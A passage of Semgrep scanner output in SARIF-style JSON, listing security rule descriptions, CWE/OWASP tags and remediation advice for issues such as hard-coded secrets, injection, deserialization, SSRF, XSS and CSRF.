[Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Don’t use the default session cookie name Using the default session cookie name can open your app to attacks. The security issue posed is similar to X-Powered-By: a potential attacker can use it to fingerprint the server and target attacks accordingly."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string","id":"javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string","name":"javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Executing non-constant commands. This can lead to command injection."},"help":{"markdown":"Executing non-constant commands. This can lead to command injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.exec-use.exec-use)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/SystemExecFunctionsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/SystemExecFunctionsSniff.php)\n","text":"Executing non-constant commands. This can lead to command injection."},"helpUri":"https://semgrep.dev/r/php.lang.security.exec-use.exec-use","id":"php.lang.security.exec-use.exec-use","name":"php.lang.security.exec-use.exec-use","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.exec-use.exec-use"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi","id":"python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi","name":"python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A request was found to be crafted from user-input `$REQUEST`. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities, potentially exposing sensitive data. It is recommend where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to prevent abuse, including using an allowlist."},"help":{"markdown":"A request was found to be crafted from user-input `$REQUEST`. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities, potentially exposing sensitive data. It is recommend where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to prevent abuse, including using an allowlist.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.injection.tainted-url-host.tainted-url-host)\n - [https://goteleport.com/blog/ssrf-attacks/](https://goteleport.com/blog/ssrf-attacks/)\n","text":"A request was found to be crafted from user-input `$REQUEST`. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities, potentially exposing sensitive data. It is recommend where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to prevent abuse, including using an allowlist."},"helpUri":"https://semgrep.dev/r/go.lang.security.injection.tainted-url-host.tainted-url-host","id":"go.lang.security.injection.tainted-url-host.tainted-url-host","name":"go.lang.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.strings.detected-private-key.detected-private-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.strings.detected-private-key.detected-private-key","id":"javascript.lang.hardcoded.strings.detected-private-key.detected-private-key","name":"javascript.lang.hardcoded.strings.detected-private-key.detected-private-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.strings.detected-private-key.detected-private-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The following function call $SER.$FUNC accepts user controlled data which can result in Remote Code Execution (RCE) through Object Deserialization. It is recommended to use secure data processing alternatives such as JSON.parse() and Buffer.from()."},"help":{"markdown":"The following function call $SER.$FUNC accepts user controlled data which can result in Remote Code Execution (RCE) through Object Deserialization. It is recommended to use secure data processing alternatives such as JSON.parse() and Buffer.from().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)\n","text":"The following function call $SER.$FUNC accepts user controlled data which can result in Remote Code Execution (RCE) through Object Deserialization. It is recommended to use secure data processing alternatives such as JSON.parse() and Buffer.from()."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization","id":"javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization","name":"javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that IAM policies don't allow data exfiltration actions that are not resource-constrained. This can allow the user to read sensitive data they don't need to read. Instead, make sure that the user granted these privileges are given these permissions on specific resources."},"help":{"markdown":"Ensure that IAM policies don't allow data exfiltration actions that are not resource-constrained. This can allow the user to read sensitive data they don't need to read. Instead, make sure that the user granted these privileges are given these permissions on specific resources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMDataExfiltration.py)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/data-exfiltration/](https://cloudsplaining.readthedocs.io/en/latest/glossary/data-exfiltration/)\n","text":"Ensure that IAM policies don't allow data exfiltration actions that are not resource-constrained. This can allow the user to read sensitive data they don't need to read. Instead, make sure that the user granted these privileges are given these permissions on specific resources."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration","id":"terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration","name":"terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If user input reaches `HoverProvider` while `supportHml` is set to `true` it may introduce an XSS vulnerability. Do not produce HTML for hovers with dynamically generated input."},"help":{"markdown":"If user input reaches `HoverProvider` while `supportHml` is set to `true` it may introduce an XSS vulnerability. Do not produce HTML for hovers with dynamically generated input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport)\n - [https://github.com/microsoft/monaco-editor/issues/801](https://github.com/microsoft/monaco-editor/issues/801)\n","text":"If user input reaches `HoverProvider` while `supportHml` is set to `true` it may introduce an XSS vulnerability. Do not produce HTML for hovers with dynamically generated input."},"helpUri":"https://semgrep.dev/r/javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport","id":"javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport","name":"javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Calling assert with user input is equivalent to eval'ing."},"help":{"markdown":"Calling assert with user input is equivalent to eval'ing.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.assert-use.assert-use)\n - [https://www.php.net/manual/en/function.assert](https://www.php.net/manual/en/function.assert)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/AssertsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/AssertsSniff.php)\n","text":"Calling assert with user input is equivalent to eval'ing."},"helpUri":"https://semgrep.dev/r/php.lang.security.assert-use.assert-use","id":"php.lang.security.assert-use.assert-use","name":"php.lang.security.assert-use.assert-use","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.assert-use.assert-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The syntax `<%== ... %>` is an alias for `html_safe`. This means the content inside these tags will be rendered as raw HTML. This may expose your application to cross-site scripting. If you need raw HTML, prefer using the more explicit `html_safe` and be sure to correctly sanitize variables using a library such as DOMPurify."},"help":{"markdown":"The syntax `<%== ... %>` is an alias for `html_safe`. This means the content inside these tags will be rendered as raw HTML. This may expose your application to cross-site scripting. If you need raw HTML, prefer using the more explicit `html_safe` and be sure to correctly sanitize variables using a library such as DOMPurify.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe)\n - [https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027](https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027)\n - [https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===](https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===)\n","text":"The syntax `<%== ... %>` is an alias for `html_safe`. This means the content inside these tags will be rendered as raw HTML. This may expose your application to cross-site scripting. If you need raw HTML, prefer using the more explicit `html_safe` and be sure to correctly sanitize variables using a library such as DOMPurify."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe","id":"ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe","name":"ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a Storage that was not configured to deny action by default. Add `enable_https_traffic_only = true` in your resource block."},"help":{"markdown":"Detected a Storage that was not configured to deny action by default. Add `enable_https_traffic_only = true` in your resource block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-enforce-https.storage-enforce-https)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#enable_https_traffic_only](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#enable_https_traffic_only)\n - [https://docs.microsoft.com/en-us/azure/storage/common/storage-require-secure-transfer](https://docs.microsoft.com/en-us/azure/storage/common/storage-require-secure-transfer)\n","text":"Detected a Storage that was not configured to deny action by default. Add `enable_https_traffic_only = true` in your resource block."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-enforce-https.storage-enforce-https","id":"terraform.azure.security.storage.storage-enforce-https.storage-enforce-https","name":"terraform.azure.security.storage.storage-enforce-https.storage-enforce-https","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-enforce-https.storage-enforce-https"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Encryption at rest is not enabled for the elastic search domain resource"},"help":{"markdown":"Encryption at rest is not enabled for the elastic search domain resource\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Encryption at rest is not enabled for the elastic search domain resource"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest","id":"terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest","name":"terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown)\n","text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call","id":"ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call","name":"ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule is deprecated"},"help":{"markdown":"This rule is deprecated\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"This rule is deprecated"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-sql-from-http-request-deepsemgrep.tainted-sql-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody","id":"java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody","name":"java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.tainted-html-string-responsebody.tainted-html-string-responsebody"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-create-element-href-url.react-create-element-href-url)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.react.react-create-element-href-url.react-create-element-href-url","id":"typescript.react.react-create-element-href-url.react-create-element-href-url","name":"typescript.react.react-create-element-href-url.react-create-element-href-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-create-element-href-url.react-create-element-href-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled."},"help":{"markdown":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-fileaccess.swift-webview-config-allows-file-access)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-fileaccess.swift-webview-config-allows-file-access","id":"swift.webview.webview-fileaccess.swift-webview-config-allows-file-access","name":"swift.webview.webview-fileaccess.swift-webview-config-allows-file-access","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-fileaccess.swift-webview-config-allows-file-access"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable."},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/gorilla/csrf](https://github.com/gorilla/csrf)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable."},"helpUri":"https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection","id":"go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection","name":"go.net.csrf.gorilla-csrf.go-net-http-form-without-gorilla-csrf-protection.go-net-http-form-without-gorilla-csrf-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: 